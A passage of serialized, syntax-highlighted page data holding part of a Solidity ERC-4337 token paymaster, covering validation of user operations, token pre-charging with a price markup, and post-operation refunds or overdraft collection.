",{"type":25,"tag":216,"props":107108,"children":107109},{"style":6947},[107110],{"type":31,"value":266},{"type":25,"tag":216,"props":107112,"children":107113},{"style":6958},[107114],{"type":31,"value":107115}," tokenPaymasterConfig.baseFee;\n",{"type":25,"tag":216,"props":107117,"children":107118},{"class":6916,"line":7299},[107119,107123,107128,107132,107137,107141],{"type":25,"tag":216,"props":107120,"children":107121},{"style":7369},[107122],{"type":31,"value":107080},{"type":25,"tag":216,"props":107124,"children":107125},{"style":6958},[107126],{"type":31,"value":107127}," dataLength ",{"type":25,"tag":216,"props":107129,"children":107130},{"style":6947},[107131],{"type":31,"value":266},{"type":25,"tag":216,"props":107133,"children":107134},{"style":6958},[107135],{"type":31,"value":107136}," userOp.paymasterAndData.length ",{"type":25,"tag":216,"props":107138,"children":107139},{"style":6947},[107140],{"type":31,"value":8270},{"type":25,"tag":216,"props":107142,"children":107143},{"style":6958},[107144],{"type":31,"value":107145}," PAYMASTER_DATA_OFFSET;\n",{"type":25,"tag":216,"props":107147,"children":107148},{"class":6916,"line":7551},[107149,107154,107159,107163,107167,107171,107175,107179,107184,107188,107193],{"type":25,"tag":216,"props":107150,"children":107151},{"style":6967},[107152],{"type":31,"value":107153},"            require",{"type":25,"tag":216,"props":107155,"children":107156},{"style":6958},[107157],{"type":31,"value":107158},"(dataLength ",{"type":25,"tag":216,"props":107160,"children":107161},{"style":6947},[107162],{"type":31,"value":12522},{"type":25,"tag":216,"props":107164,"children":107165},{"style":6983},[107166],{"type":31,"value":6986},{"type":25,"tag":216,"props":107168,"children":107169},{"style":6947},[107170],{"type":31,"value":27648},{"type":25,"tag":216,"props":107172,"children":107173},{"style":6958},[107174],{"type":31,"value":107127},{"type":25,"tag":216,"props":107176,"children":107177},{"style":6947},[107178],{"type":31,"value":12522},{"type":25,"tag":216,"props":107180,"children":107181},{"style":6983},[107182],{"type":31,"value":107183}," 32",{"type":25,"tag":216,"props":107185,"children":107186},{"style":6958},[107187],{"type":31,"value":7020},{"type":25,"tag":216,"props":107189,"children":107190},{"style":8199},[107191],{"type":31,"value":107192},"\"TPM: invalid data length\"",{"type":25,"tag":216,"props":107194,"children":107195},{"style":6958},[107196],{"type":31,"value":7791},{"type":25,"tag":216,"props":107198,"children":107199},{"class":6916,"line":7568},[107200,107204,107209,107213,107218,107223],{"type":25,"tag":216,"props":107201,"children":107202},{"style":7369},[107203],{"type":31,"value":107080},{"type":25,"tag":216,"props":107205,"children":107206},{"style":6958},[107207],{"type":31,"value":107208}," maxFeePerGas ",{"type":25,"tag":216,"props":107210,"children":107211},{"style":6947},[107212],{"type":31,"value":266},{"type":25,"tag":216,"props":107214,"children":107215},{"style":6958},[107216],{"type":31,"value":107217}," userOp.",{"type":25,"tag":216,"props":107219,"children":107220},{"style":7041},[107221],{"type":31,"value":107222},"unpackMaxFeePerGas",{"type":25,"tag":216,"props":107224,"children":107225},{"style":6958},[107226],{"type":31,"value":7627},{"type":25,"tag":216,"props":107228,"children":107229},{"class":6916,"line":7585},[107230,107234,107239,107243],{"type":25,"tag":216,"props":107231,"children":107232},{"style":7369},[107233],{"type":31,"value":107080},{"type":25,"tag":216,"props":107235,"children":107236},{"style":6958},[107237],{"type":31,"value":107238}," refundPostopCost ",{"type":25,"tag":216,"props":107240,"children":107241},{"style":6947},[107242],{"type":31,"value":266},{"type":25,"tag":216,"props":107244,"children":107245},{"style":6958},[107246],{"type":31,"value":107247}," tokenPaymasterConfig.refundPostopCost;\n",{"type":25,"tag":216,"props":107249,"children":107250},{"class":6916,"line":7598},[107251,107255,107260,107264,107268,107273,107277,107282],{"type":25,"tag":216,"props":107252,"children":107253},{"style":6967},[107254],{"type":31,"value":107153},{"type":25,"tag":216,"props":107256,"children":107257},{"style":6958},[107258],{"type":31,"value":107259},"(refundPostopCost ",{"type":25,"tag":216,"props":107261,"children":107262},{"style":6947},[107263],{"type":31,"value":9751},{"type":25,"tag":216,"props":107265,"children":107266},{"style":6958},[107267],{"type":31,"value":107217},{"type":25,"tag":216,"props":107269,"children":107270},{"style":7041},[107271],{"type":31,"value":107272},"unpackPostOpGasLimit",{"type":25,"tag":216,"props":107274,"children":107275},{"style":6958},[107276],{"type":31,"value":22328},{"type":25,"tag":216,"props":107278,"children":107279},{"style":8199},[107280],{"type":31,"value":107281},"\"TPM: postOpGasLimit too low\"",{"type":25,"tag":216,"props":107283,"children":107284},{"style":6958},[107285],{"type":31,"value":7791},{"type":25,"tag":216,"props":107287,"children":107288},{"class":6916,"line":7607},[107289,107293,107298,107302,107307,107311,107316,107320],{"type":25,"tag":216,"props":107290,"children":107291},{"style":7369},[107292],{"type":31,"value":107080},{"type":25,"tag":216,"props":107294,"children":107295},{"style":6958},[107296],{"type":31,"value":107297}," preChargeNative ",{"type":25,"tag":216,"props":107299,"children":107300},{"style":6947},[107301],{"type":31,"value":266},{"type":25,"tag":216,"props":107303,"children":107304},{"style":6958},[107305],{"type":31,"value":107306}," requiredPreFund ",{"type":25,"tag":216,"props":107308,"children":107309},{"style":6947},[107310],{"type":31,"value":3533},{"type":25,"tag":216,"props":107312,"children":107313},{"style":6958},[107314],{"type":31,"value":107315}," (refundPostopCost ",{"type":25,"tag":216,"props":107317,"children":107318},{"style":6947},[107319],{"type":31,"value":8513},{"type":25,"tag":216,"props":107321,"children":107322},{"style":6958},[107323],{"type":31,"value":107324}," maxFeePerGas);\n",{"type":25,"tag":216,"props":107326,"children":107327},{"class":6916,"line":7630},[107328,107333,107337],{"type":25,"tag":216,"props":107329,"children":107330},{"style":6921},[107331],{"type":31,"value":107332},"            // ",{"type":25,"tag":216,"props":107334,"children":107335},{"style":6930},[107336],{"type":31,"value":70722},{"type":25,"tag":216,"props":107338,"children":107339},{"style":6921},[107340],{"type":31,"value":107341},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":25,"tag":216,"props":107343,"children":107344},{"class":6916,"line":7639},[107345,107349,107354,107358,107363,107367,107372,107376],{"type":25,"tag":216,"props":107346,"children":107347},{"style":7369},[107348],{"type":31,"value":107080},{"type":25,"tag":216,"props":107350,"children":107351},{"style":6958},[107352],{"type":31,"value":107353}," cachedPriceWithMarkup ",{"type":25,"tag":216,"props":107355,"children":107356},{"style":6947},[107357],{"type":31,"value":266},{"type":25,"tag":216,"props":107359,"children":107360},{"style":6958},[107361],{"type":31,"value":107362}," cachedPrice ",{"type":25,"tag":216,"props":107364,"children":107365},{"style":6947},[107366],{"type":31,"value":8513},{"type":25,"tag":216,"props":107368,"children":107369},{"style":6958},[107370],{"type":31,"value":107371}," DENOM ",{"type":25,"tag":216,"props":107373,"children":107374},{"style":6947},[107375],{"type":31,"value":5749},{"type":25,"tag":216,"props":107377,"children":107378},{"style":6958},[107379],{"type":31,"value":107380}," priceMarkup;\n",{"type":25,"tag":216,"props":107382,"children":107383},{"class":6916,"line":7648},[107384,107388,107393,107397,107401],{"type":25,"tag":216,"props":107385,"children":107386},{"style":6967},[107387],{"type":31,"value":62762},{"type":25,"tag":216,"props":107389,"children":107390},{"style":6958},[107391],{"type":31,"value":107392}," (dataLength ",{"type":25,"tag":216,"props":107394,"children":107395},{"style":6947},[107396],{"type":31,"value":12522},{"type":25,"tag":216,"props":107398,"children":107399},{"style":6983},[107400],{"type":31,"value":107183},{"type":25,"tag":216,"props":107402,"children":107403},{"style":6958},[107404],{"type":31,"value":18755},{"type":25,"tag":216,"props":107406,"children":107407},{"class":6916,"line":7716},[107408,107413,107418],{"type":25,"tag":216,"props":107409,"children":107410},{"style":7369},[107411],{"type":31,"value":107412},"                uint256",{"type":25,"tag":216,"props":107414,"children":107415},{"style":6958},[107416],{"type":31,"value":107417}," clientSuppliedPrice ",{"type":25,"tag":216,"props":107419,"children":107420},{"style":6947},[107421],{"type":31,"value":18644},{"type":25,"tag":216,"props":107423,"children":107424},{"class":6916,"line":7724},[107425,107430,107434,107438,107443,107447,107452,107456,107460],{"type":25,"tag":216,"props":107426,"children":107427},{"style":7369},[107428],{"type":31,"value":107429},"                    uint256",{"type":25,"tag":216,"props":107431,"children":107432},{"style":6958},[107433],{"type":31,"value":1844},{"type":25,"tag":216,"props":107435,"children":107436},{"style":7369},[107437],{"type":31,"value":106978},{"type":25,"tag":216,"props":107439,"children":107440},{"style":6958},[107441],{"type":31,"value":107442},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":25,"tag":216,"props":107444,"children":107445},{"style":6947},[107446],{"type":31,"value":1466},{"type":25,"tag":216,"props":107448,"children":107449},{"style":6958},[107450],{"type":31,"value":107451},"PAYMASTER_DATA_OFFSET ",{"type":25,"tag":216,"props":107453,"children":107454},{"style":6947},[107455],{"type":31,"value":3533},{"type":25,"tag":216,"props":107457,"children":107458},{"style":6983},[107459],{"type":31,"value":107183},{"type":25,"tag":216,"props":107461,"children":107462},{"style":6958},[107463],{"type":31,"value":107464},"]));\n",{"type":25,"tag":216,"props":107466,"children":107467},{"class":6916,"line":7754},[107468,107473,107478,107482],{"type":25,"tag":216,"props":107469,"children":107470},{"style":6967},[107471],{"type":31,"value":107472},"                if",{"type":25,"tag":216,"props":107474,"children":107475},{"style":6958},[107476],{"type":31,"value":107477}," (clientSuppliedPrice ",{"type":25,"tag":216,"props":107479,"children":107480},{"style":6947},[107481],{"type":31,"value":9751},{"type":25,"tag":216,"props":107483,"children":107484},{"style":6958},[107485],{"type":31,"value":107486}," cachedPriceWithMarkup) {\n",{"type":25,"tag":216,"props":107488,"children":107489},{"class":6916,"line":7762},[107490,107495,107499],{"type":25,"tag":216,"props":107491,"children":107492},{"style":6921},[107493],{"type":31,"value":107494},"                    // ",{"type":25,"tag":216,"props":107496,"children":107497},{"style":6930},[107498],{"type":31,"value":70722},{"type":25,"tag":216,"props":107500,"children":107501},{"style":6921},[107502],{"type":31,"value":107503},": smaller number means 'more native asset per token'\n",{"type":25,"tag":216,"props":107505,"children":107506},{"class":6916,"line":7794},[107507,107512,107516],{"type":25,"tag":216,"props":107508,"children":107509},{"style":6958},[107510],{"type":31,"value":107511},"                    cachedPriceWithMarkup ",{"type":25,"tag":216,"props":107513,"children":107514},{"style":6947},[107515],{"type":31,"value":266},{"type":25,"tag":216,"props":107517,"children":107518},{"style":6958},[107519],{"type":31,"value":107520}," clientSuppliedPrice;\n",{"type":25,"tag":216,"props":107522,"children":107523},{"class":6916,"line":7802},[107524],{"type":25,"tag":216,"props":107525,"children":107526},{"style":6958},[107527],{"type":31,"value":75035},{"type":25,"tag":216,"props":107529,"children":107530},{"class":6916,"line":7862},[107531],{"type":25,"tag":216,"props":107532,"children":107533},{"style":6958},[107534],{"type":31,"value":62846},{"type":25,"tag":216,"props":107536,"children":107537},{"class":6916,"line":12995},[107538,107542,107547,107551,107556],{"type":25,"tag":216,"props":107539,"children":107540},{"style":7369},[107541],{"type":31,"value":107080},{"type":25,"tag":216,"props":107543,"children":107544},{"style":6958},[107545],{"type":31,"value":107546}," tokenAmount ",{"type":25,"tag":216,"props":107548,"children":107549},{"style":6947},[107550],{"type":31,"value":266},{"type":25,"tag":216,"props":107552,"children":107553},{"style":7041},[107554],{"type":31,"value":107555}," weiToToken",{"type":25,"tag":216,"props":107557,"children":107558},{"style":6958},[107559],{"type":31,"value":107560},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":216,"props":107562,"children":107563},{"class":6916,"line":13013},[107564,107569,107573],{"type":25,"tag":216,"props":107565,"children":107566},{"style":6958},[107567],{"type":31,"value":107568},"            tokenAmount ",{"type":25,"tag":216,"props":107570,"children":107571},{"style":6947},[107572],{"type":31,"value":72401},{"type":25,"tag":216,"props":107574,"children":107575},{"style":6958},[107576],{"type":31,"value":107577}," baseFee;\n",{"type":25,"tag":216,"props":107579,"children":107580},{"class":6916,"line":13058},[107581,107586,107591,107596,107600,107604,107608],{"type":25,"tag":216,"props":107582,"children":107583},{"style":6958},[107584],{"type":31,"value":107585},"            SafeERC20.",{"type":25,"tag":216,"props":107587,"children":107588},{"style":7041},[107589],{"type":31,"value":107590},"safeTransferFrom",{"type":25,"tag":216,"props":107592,"children":107593},{"style":6958},[107594],{"type":31,"value":107595},"(token, userOp.sender, ",{"type":25,"tag":216,"props":107597,"children":107598},{"style":7369},[107599],{"type":31,"value":36597},{"type":25,"tag":216,"props":107601,"children":107602},{"style":6958},[107603],{"type":31,"value":1844},{"type":25,"tag":216,"props":107605,"children":107606},{"style":6930},[107607],{"type":31,"value":21645},{"type":25,"tag":216,"props":107609,"children":107610},{"style":6958},[107611],{"type":31,"value":107612},"), tokenAmount);\n",{"type":25,"tag":216,"props":107614,"children":107615},{"class":6916,"line":13164},[107616,107621,107625,107630,107634,107639],{"type":25,"tag":216,"props":107617,"children":107618},{"style":6958},[107619],{"type":31,"value":107620},"            context ",{"type":25,"tag":216,"props":107622,"children":107623},{"style":6947},[107624],{"type":31,"value":266},{"type":25,"tag":216,"props":107626,"children":107627},{"style":6930},[107628],{"type":31,"value":107629}," abi",{"type":25,"tag":216,"props":107631,"children":107632},{"style":6958},[107633],{"type":31,"value":179},{"type":25,"tag":216,"props":107635,"children":107636},{"style":7041},[107637],{"type":31,"value":107638},"encode",{"type":25,"tag":216,"props":107640,"children":107641},{"style":6958},[107642],{"type":31,"value":107643},"(tokenAmount, userOp.sender);\n",{"type":25,"tag":216,"props":107645,"children":107646},{"class":6916,"line":27449},[107647,107652],{"type":25,"tag":216,"props":107648,"children":107649},{"style":6958},[107650],{"type":31,"value":107651},"            validationResult ",{"type":25,"tag":216,"props":107653,"children":107654},{"style":6947},[107655],{"type":31,"value":18644},{"type":25,"tag":216,"props":107657,"children":107658},{"class":6916,"line":27484},[107659,107664,107668,107672,107676,107681,107686,107690,107695,107699],{"type":25,"tag":216,"props":107660,"children":107661},{"style":7041},[107662],{"type":31,"value":107663},"                _packValidationData",{"type":25,"tag":216,"props":107665,"children":107666},{"style":6958},[107667],{"type":31,"value":1844},{"type":25,"tag":216,"props":107669,"children":107670},{"style":6930},[107671],{"type":31,"value":12121},{"type":25,"tag":216,"props":107673,"children":107674},{"style":6958},[107675],{"type":31,"value":7020},{"type":25,"tag":216,"props":107677,"children":107678},{"style":7369},[107679],{"type":31,"value":107680},"uint48",{"type":25,"tag":216,"props":107682,"children":107683},{"style":6958},[107684],{"type":31,"value":107685},"(cachedPriceTimestamp ",{"type":25,"tag":216,"props":107687,"children":107688},{"style":6947},[107689],{"type":31,"value":3533},{"type":25,"tag":216,"props":107691,"children":107692},{"style":6958},[107693],{"type":31,"value":107694}," tokenPaymasterConfig.priceMaxAge), ",{"type":25,"tag":216,"props":107696,"children":107697},{"style":6983},[107698],{"type":31,"value":1876},{"type":25,"tag":216,"props":107700,"children":107701},{"style":6958},[107702],{"type":31,"value":7791},{"type":25,"tag":216,"props":107704,"children":107705},{"class":6916,"line":27492},[107706],{"type":25,"tag":216,"props":107707,"children":107708},{"style":6958},[107709],{"type":31,"value":7296},{"type":25,"tag":216,"props":107711,"children":107712},{"class":6916,"line":27500},[107713],{"type":25,"tag":216,"props":107714,"children":107715},{"style":6958},[107716],{"type":31,"value":7305},{"type":25,"tag":216,"props":107718,"children":107719},{"class":6916,"line":27509},[107720],{"type":25,"tag":216,"props":107721,"children":107722},{"style":6958},[107723],{"type":31,"value":14269},{"type":25,"tag":216,"props":107725,"children":107726},{"class":6916,"line":27551},[107727,107731,107736,107740,107745,107749,107753,107757,107761,107765,107769,107774,107778,107782,107787],{"type":25,"tag":216,"props":107728,"children":107729},{"style":6930},[107730],{"type":31,"value":93796},{"type":25,"tag":216,"props":107732,"children":107733},{"style":7041},[107734],{"type":31,"value":107735}," _postOp",{"type":25,"tag":216,"props":107737,"children":107738},{"style":6958},[107739],{"type":31,"value":1844},{"type":25,"tag":216,"props":107741,"children":107742},{"style":6930},[107743],{"type":31,"value":107744},"PostOpMode",{"type":25,"tag":216,"props":107746,"children":107747},{"style":6958},[107748],{"type":31,"value":7020},{"type":25,"tag":216,"props":107750,"children":107751},{"style":7369},[107752],{"type":31,"value":87794},{"type":25,"tag":216,"props":107754,"children":107755},{"style":6930},[107756],{"type":31,"value":106964},{"type":25,"tag":216,"props":107758,"children":107759},{"style":6941},[107760],{"type":31,"value":80306},{"type":25,"tag":216,"props":107762,"children":107763},{"style":6958},[107764],{"type":31,"value":7020},{"type":25,"tag":216,"props":107766,"children":107767},{"style":7369},[107768],{"type":31,"value":50130},{"type":25,"tag":216,"props":107770,"children":107771},{"style":6941},[107772],{"type":31,"value":107773}," actualGasCost",{"type":25,"tag":216,"props":107775,"children":107776},{"style":6958},[107777],{"type":31,"value":7020},{"type":25,"tag":216,"props":107779,"children":107780},{"style":7369},[107781],{"type":31,"value":50130},{"type":25,"tag":216,"props":107783,"children":107784},{"style":6941},[107785],{"type":31,"value":107786}," actualUserOpFeePerGas",{"type":25,"tag":216,"props":107788,"children":107789},{"style":6958},[107790],{"type":31,"value":7101},{"type":25,"tag":216,"props":107792,"children":107793},{"class":6916,"line":27584},[107794],{"type":25,"tag":216,"props":107795,"children":107796},{"style":6930},[107797],{"type":31,"value":107003},{"type":25,"tag":216,"props":107799,"children":107800},{"class":6916,"line":27592},[107801],{"type":25,"tag":216,"props":107802,"children":107803},{"style":6930},[107804],{"type":31,"value":107011},{"type":25,"tag":216,"props":107806,"children":107807},{"class":6916,"line":27600},[107808],{"type":25,"tag":216,"props":107809,"children":107810},{"style":6958},[107811],{"type":31,"value":33141},{"type":25,"tag":216,"props":107813,"children":107814},{"class":6916,"line":27609},[107815,107819],{"type":25,"tag":216,"props":107816,"children":107817},{"style":6967},[107818],{"type":31,"value":107068},{"type":25,"tag":216,"props":107820,"children":107821},{"style":6958},[107822],{"type":31,"value":7235},{"type":25,"tag":216,"props":107824,"children":107825},{"class":6916,"line":27685},[107826,107830,107834,107838],{"type":25,"tag":216,"props":107827,"children":107828},{"style":7369},[107829],{"type":31,"value":107080},{"type":25,"tag":216,"props":107831,"children":107832},{"style":6958},[107833],{"type":31,"value":107085},{"type":25,"tag":216,"props":107835,"children":107836},{"style":6947},[107837],{"type":31,"value":266},{"type":25,"tag":216,"props":107839,"children":107840},{"style":6958},[107841],{"type":31,"value":107094},{"type":25,"tag":216,"props":107843,"children":107844},{"class":6916,"line":27718},[107845,107849,107853,107857],{"type":25,"tag":216,"props":107846,"children":107847},{"style":7369},[107848],{"type":31,"value":107080},{"type":25,"tag":216,"props":107850,"children":107851},{"style":6958},[107852],{"type":31,"value":107106},{"type":25,"tag":216,"props":107854,"children":107855},{"style":6947},[107856],{"type":31,"value":266},{"type":25,"tag":216,"props":107858,"children":107859},{"style":6958},[107860],{"type":31,"value":107115},{"type":25,"tag":216,"props":107862,"children":107863},{"class":6916,"line":27726},[107864,107869,107873,107878,107882,107887,107891,107895,107899,107904,107909,107913,107917,107921],{"type":25,"tag":216,"props":107865,"children":107866},{"style":6958},[107867],{"type":31,"value":107868},"            (",{"type":25,"tag":216,"props":107870,"children":107871},{"style":7369},[107872],{"type":31,"value":50130},{"type":25,"tag":216,"props":107874,"children":107875},{"style":6958},[107876],{"type":31,"value":107877}," preCharge, ",{"type":25,"tag":216,"props":107879,"children":107880},{"style":7369},[107881],{"type":31,"value":36597},{"type":25,"tag":216,"props":107883,"children":107884},{"style":6958},[107885],{"type":31,"value":107886}," userOpSender) ",{"type":25,"tag":216,"props":107888,"children":107889},{"style":6947},[107890],{"type":31,"value":266},{"type":25,"tag":216,"props":107892,"children":107893},{"style":6930},[107894],{"type":31,"value":107629},{"type":25,"tag":216,"props":107896,"children":107897},{"style":6958},[107898],{"type":31,"value":179},{"type":25,"tag":216,"props":107900,"children":107901},{"style":7041},[107902],{"type":31,"value":107903},"decode",{"type":25,"tag":216,"props":107905,"children":107906},{"style":6958},[107907],{"type":31,"value":107908},"(context, (",{"type":25,"tag":216,"props":107910,"children":107911},{"style":7369},[107912],{"type":31,"value":50130},{"type":25,"tag":216,"props":107914,"children":107915},{"style":6958},[107916],{"type":31,"value":7020},{"type":25,"tag":216,"props":107918,"children":107919},{"style":7369},[107920],{"type":31,"value":36597},{"type":25,"tag":216,"props":107922,"children":107923},{"style":6958},[107924],{"type":31,"value":11169},{"type":25,"tag":216,"props":107926,"children":107927},{"class":6916,"line":27734},[107928,107933,107938,107943],{"type":25,"tag":216,"props":107929,"children":107930},{"style":6958},[107931],{"type":31,"value":107932},"            preCharge ",{"type":25,"tag":216,"props":107934,"children":107935},{"style":6947},[107936],{"type":31,"value":107937},"-=",{"type":25,"tag":216,"props":107939,"children":107940},{"style":6958},[107941],{"type":31,"value":107942}," baseFee; ",{"type":25,"tag":216,"props":107944,"children":107945},{"style":6921},[107946],{"type":31,"value":107947},"// don't refund the base fee\n",{"type":25,"tag":216,"props":107949,"children":107950},{"class":6916,"line":27771},[107951,107955,107960,107964,107969,107973,107977],{"type":25,"tag":216,"props":107952,"children":107953},{"style":7369},[107954],{"type":31,"value":107080},{"type":25,"tag":216,"props":107956,"children":107957},{"style":6958},[107958],{"type":31,"value":107959}," _cachedPrice ",{"type":25,"tag":216,"props":107961,"children":107962},{"style":6947},[107963],{"type":31,"value":266},{"type":25,"tag":216,"props":107965,"children":107966},{"style":7041},[107967],{"type":31,"value":107968}," updateCachedPrice",{"type":25,"tag":216,"props":107970,"children":107971},{"style":6958},[107972],{"type":31,"value":1844},{"type":25,"tag":216,"props":107974,"children":107975},{"style":6930},[107976],{"type":31,"value":12121},{"type":25,"tag":216,"props":107978,"children":107979},{"style":6958},[107980],{"type":31,"value":7791},{"type":25,"tag":216,"props":107982,"children":107983},{"class":6916,"line":27784},[107984,107988,107992],{"type":25,"tag":216,"props":107985,"children":107986},{"style":6921},[107987],{"type":31,"value":107332},{"type":25,"tag":216,"props":107989,"children":107990},{"style":6930},[107991],{"type":31,"value":70722},{"type":25,"tag":216,"props":107993,"children":107994},{"style":6921},[107995],{"type":31,"value":107341},{"type":25,"tag":216,"props":107997,"children":107998},{"class":6916,"line":27797},[107999,108003,108007,108011,108015,108019,108023,108027],{"type":25,"tag":216,"props":108000,"children":108001},{"style":7369},[108002],{"type":31,"value":107080},{"type":25,"tag":216,"props":108004,"children":108005},{"style":6958},[108006],{"type":31,"value":107353},{"type":25,"tag":216,"props":108008,"children":108009},{"style":6947},[108010],{"type":31,"value":266},{"type":25,"tag":216,"props":108012,"children":108013},{"style":6958},[108014],{"type":31,"value":107959},{"type":25,"tag":216,"props":108016,"children":108017},{"style":6947},[108018],{"type":31,"value":8513},{"type":25,"tag":216,"props":108020,"children":108021},{"style":6958},[108022],{"type":31,"value":107371},{"type":25,"tag":216,"props":108024,"children":108025},{"style":6947},[108026],{"type":31,"value":5749},{"type":25,"tag":216,"props":108028,"children":108029},{"style":6958},[108030],{"type":31,"value":107380},{"type":25,"tag":216,"props":108032,"children":108033},{"class":6916,"line":27810},[108034],{"type":25,"tag":216,"props":108035,"children":108036},{"style":6921},[108037],{"type":31,"value":108038},"            // Refund tokens based on actual gas cost\n",{"type":25,"tag":216,"props":108040,"children":108041},{"class":6916,"line":27864},[108042,108046,108051,108055,108060,108064,108069,108073],{"type":25,"tag":216,"props":108043,"children":108044},{"style":7369},[108045],{"type":31,"value":107080},{"type":25,"tag":216,"props":108047,"children":108048},{"style":6958},[108049],{"type":31,"value":108050}," actualChargeNative ",{"type":25,"tag":216,"props":108052,"children":108053},{"style":6947},[108054],{"type":31,"value":266},{"type":25,"tag":216,"props":108056,"children":108057},{"style":6958},[108058],{"type":31,"value":108059}," actualGasCost ",{"type":25,"tag":216,"props":108061,"children":108062},{"style":6947},[108063],{"type":31,"value":3533},{"type":25,"tag":216,"props":108065,"children":108066},{"style":6958},[108067],{"type":31,"value":108068}," tokenPaymasterConfig.refundPostopCost ",{"type":25,"tag":216,"props":108070,"children":108071},{"style":6947},[108072],{"type":31,"value":8513},{"type":25,"tag":216,"props":108074,"children":108075},{"style":6958},[108076],{"type":31,"value":108077}," actualUserOpFeePerGas;\n",{"type":25,"tag":216,"props":108079,"children":108080},{"class":6916,"line":27873},[108081,108085,108090,108094,108098],{"type":25,"tag":216,"props":108082,"children":108083},{"style":7369},[108084],{"type":31,"value":107080},{"type":25,"tag":216,"props":108086,"children":108087},{"style":6958},[108088],{"type":31,"value":108089}," actualTokenNeeded ",{"type":25,"tag":216,"props":108091,"children":108092},{"style":6947},[108093],{"type":31,"value":266},{"type":25,"tag":216,"props":108095,"children":108096},{"style":7041},[108097],{"type":31,"value":107555},{"type":25,"tag":216,"props":108099,"children":108100},{"style":6958},[108101],{"type":31,"value":108102},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":216,"props":108104,"children":108105},{"class":6916,"line":36237},[108106,108110,108115,108119],{"type":25,"tag":216,"props":108107,"children":108108},{"style":6967},[108109],{"type":31,"value":62762},{"type":25,"tag":216,"props":108111,"children":108112},{"style":6958},[108113],{"type":31,"value":108114}," (preCharge ",{"type":25,"tag":216,"props":108116,"children":108117},{"style":6947},[108118],{"type":31,"value":5896},{"type":25,"tag":216,"props":108120,"children":108121},{"style":6958},[108122],{"type":31,"value":108123}," actualTokenNeeded) {\n",{"type":25,"tag":216,"props":108125,"children":108126},{"class":6916,"line":36258},[108127],{"type":25,"tag":216,"props":108128,"children":108129},{"style":6921},[108130],{"type":31,"value":108131},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":25,"tag":216,"props":108133,"children":108134},{"class":6916,"line":84917},[108135,108140,108145,108150,108154],{"type":25,"tag":216,"props":108136,"children":108137},{"style":6958},[108138],{"type":31,"value":108139},"                SafeERC20.",{"type":25,"tag":216,"props":108141,"children":108142},{"style":7041},[108143],{"type":31,"value":108144},"safeTransfer",{"type":25,"tag":216,"props":108146,"children":108147},{"style":6958},[108148],{"type":31,"value":108149},"(token, userOpSender, preCharge ",{"type":25,"tag":216,"props":108151,"children":108152},{"style":6947},[108153],{"type":31,"value":8270},{"type":25,"tag":216,"props":108155,"children":108156},{"style":6958},[108157],{"type":31,"value":108158}," actualTokenNeeded);\n",{"type":25,"tag":216,"props":108160,"children":108161},{"class":6916,"line":84930},[108162,108166,108170,108174,108178,108182],{"type":25,"tag":216,"props":108163,"children":108164},{"style":6958},[108165],{"type":31,"value":74558},{"type":25,"tag":216,"props":108167,"children":108168},{"style":6967},[108169],{"type":31,"value":7262},{"type":25,"tag":216,"props":108171,"children":108172},{"style":6967},[108173],{"type":31,"value":19740},{"type":25,"tag":216,"props":108175,"children":108176},{"style":6958},[108177],{"type":31,"value":108114},{"type":25,"tag":216,"props":108179,"children":108180},{"style":6947},[108181],{"type":31,"value":9751},{"type":25,"tag":216,"props":108183,"children":108184},{"style":6958},[108185],{"type":31,"value":108123},{"type":25,"tag":216,"props":108187,"children":108188},{"class":6916,"line":84938},[108189],{"type":25,"tag":216,"props":108190,"children":108191},{"style":6921},[108192],{"type":31,"value":108193},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":25,"tag":216,"props":108195,"children":108196},{"class":6916,"line":84946},[108197],{"type":25,"tag":216,"props":108198,"children":108199},{"style":6921},[108200],{"type":31,"value":108201},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":25,"tag":216,"props":108203,"children":108204},{"class":6916,"line":84954},[108205,108209,108213,108218,108222,108226,108230,108235,108239],{"type":25,"tag":216,"props":108206,"children":108207},{"style":6958},[108208],{"type":31,"value":108139},{"type":25,"tag":216,"props":108210,"children":108211},{"style":7041},[108212],{"type":31,"value":107590},{"type":25,"tag":216,"props":108214,"children":108215},{"style":6958},[108216],{"type":31,"value":108217},"(token, userOpSender, ",{"type":25,"tag":216,"props":108219,"children":108220},{"style":7369},[108221],{"type":31,"value":36597},{"type":25,"tag":216,"props":108223,"children":108224},{"style":6958},[108225],{"type":31,"value":1844},{"type":25,"tag":216,"props":108227,"children":108228},{"style":6930},[108229],{"type":31,"value":21645},{"type":25,"tag":216,"props":108231,"children":108232},{"style":6958},[108233],{"type":31,"value":108234},"), actualTokenNeeded ",{"type":25,"tag":216,"props":108236,"children":108237},{"style":6947},[108238],{"type":31,"value":8270},{"type":25,"tag":216,"props":108240,"children":108241},{"style":6958},[108242],{"type":31,"value":108243}," preCharge);\n",{"type":25,"tag":216,"props":108245,"children":108246},{"class":6916,"line":84994},[108247],{"type":25,"tag":216,"props":108248,"children":108249},{"style":6958},[108250],{"type":31,"value":62846},{"type":25,"tag":216,"props":108252,"children":108253},{"class":6916,"line":85002},[108254],{"type":25,"tag":216,"props":108255,"children":108256},{"emptyLinePlaceholder":16},[108257],{"type":31,"value":7636},{"type":25,"tag":216,"props":108259,"children":108260},{"class":6916,"line":92188},[108261,108265,108270,108274,108278],{"type":25,"tag":216,"props":108262,"children":108263},{"style":6967},[108264],{"type":31,"value":62762},{"type":25,"tag":216,"props":108266,"children":108267},{"style":6958},[108268],{"type":31,"value":108269}," (baseFee ",{"type":25,"tag":216,"props":108271,"children":108272},{"style":6947},[108273],{"type":31,"value":5896},{"type":25,"tag":216,"props":108275,"children":108276},{"style":6983},[108277],{"type":31,"value":6986},{"type":25,"tag":216,"props":108279,"children":108280},{"style":6958},[108281],{"type":31,"value":18755},{"type":25,"tag":216,"props":108283,"children":108284},{"class":6916,"line":92196},[108285,108289,108293],{"type":25,"tag":216,"props":108286,"children":108287},{"style":6958},[108288],{"type":31,"value":108139},{"type":25,"tag":216,"props":108290,"children":108291},{"style":7041},[108292],{"type":31,"value":108144},{"type":25,"tag":216,"props":108294,"children":108295},{"style":6958},[108296],{"type":31,"value":108297},"(token, tokenPaymasterConfig.rewardsPool, 